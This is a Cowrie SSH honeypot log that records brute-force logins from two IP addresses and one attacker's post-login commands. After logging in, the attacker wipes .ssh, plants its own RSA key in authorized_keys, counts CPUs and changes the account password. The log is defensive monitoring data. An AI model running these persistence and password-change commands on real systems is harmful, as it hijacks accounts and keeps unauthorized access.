{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":57858,"dst_ip":"159.203.135.109","dst_port":22,"session":"b11e273abd59","protocol":"ssh","message":"New connection: 103.189.208.13:57858 (159.203.135.109:22) [session: b11e273abd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:20.453172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:20.457792Z","src_ip":"103.189.208.13","session":"b11e273abd59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:20.704604Z","src_ip":"103.189.208.13","session":"b11e273abd59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:21.724762Z","src_ip":"103.189.208.13","session":"b11e273abd59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:22.975488Z","src_ip":"103.189.208.13","session":"b11e273abd59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":56932,"dst_ip":"159.203.135.109","dst_port":22,"session":"e580893b273f","protocol":"ssh","message":"New connection: 103.189.208.13:56932 (159.203.135.109:22) [session: e580893b273f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:23.234661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:23.237930Z","src_ip":"103.189.208.13","session":"e580893b273f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:23.495599Z","src_ip":"103.189.208.13","session":"e580893b273f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:24.547605Z","src_ip":"103.189.208.13","session":"e580893b273f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:24.801506Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:24.806301Z","src_ip":"103.189.208.13","session":"e580893b273f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":38394,"dst_ip":"159.203.135.109","dst_port":22,"session":"f543c801b020","protocol":"ssh","message":"New connection: 103.189.208.13:38394 (159.203.135.109:22) [session: f543c801b020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:18.972190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:18.977975Z","src_ip":"103.189.208.13","session":"f543c801b020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:19.224445Z","src_ip":"103.189.208.13","session":"f543c801b020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":36726,"dst_ip":"159.203.135.109","dst_port":22,"session":"89e9997dcd93","protocol":"ssh","message":"New connection: 190.242.109.42:36726 (159.203.135.109:22) [session: 89e9997dcd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:20.060943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:20.065814Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:20.155841Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"1234","message":"login attempt [ftptest/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:20.239286Z","src_ip":"103.189.208.13","session":"f543c801b020","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"rootadmin","message":"login attempt [admin/rootadmin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:20.543925Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:20.769474Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:20.772086Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:20.776226Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:20.868873Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:21.093827Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:21.096847Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:21.191315Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:21.195189Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":37132,"dst_ip":"159.203.135.109","dst_port":22,"session":"779de2b40797","protocol":"ssh","message":"New connection: 190.242.109.42:37132 (159.203.135.109:22) [session: 779de2b40797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:21.263036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:21.267458Z","src_ip":"190.242.109.42","session":"779de2b40797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:21.360729Z","src_ip":"190.242.109.42","session":"779de2b40797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:21.492427Z","src_ip":"103.189.208.13","session":"f543c801b020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:21.748614Z","src_ip":"190.242.109.42","session":"779de2b40797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:22.840790Z","src_ip":"190.242.109.42","session":"779de2b40797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":37670,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc5a861854d1","protocol":"ssh","message":"New connection: 190.242.109.42:37670 (159.203.135.109:22) [session: dc5a861854d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:22.921089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:22.925721Z","src_ip":"190.242.109.42","session":"dc5a861854d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:23.061126Z","src_ip":"190.242.109.42","session":"dc5a861854d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:23.383540Z","src_ip":"190.242.109.42","session":"dc5a861854d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:24.468839Z","src_ip":"190.242.109.42","session":"dc5a861854d1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:24.618593Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:24.622457Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:24.716694Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:24.942567Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"rootadmin\\noXdTFr2nYtFN\\noXdTFr2nYtFN\"|passwd|bash","message":"CMD: echo -e \"rootadmin\\noXdTFr2nYtFN\\noXdTFr2nYtFN\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:24.946211Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:24.950237Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:24:24.953869Z","src_ip":"190.242.109.42","session":"89e9997dcd93","protocol":"ssh"}
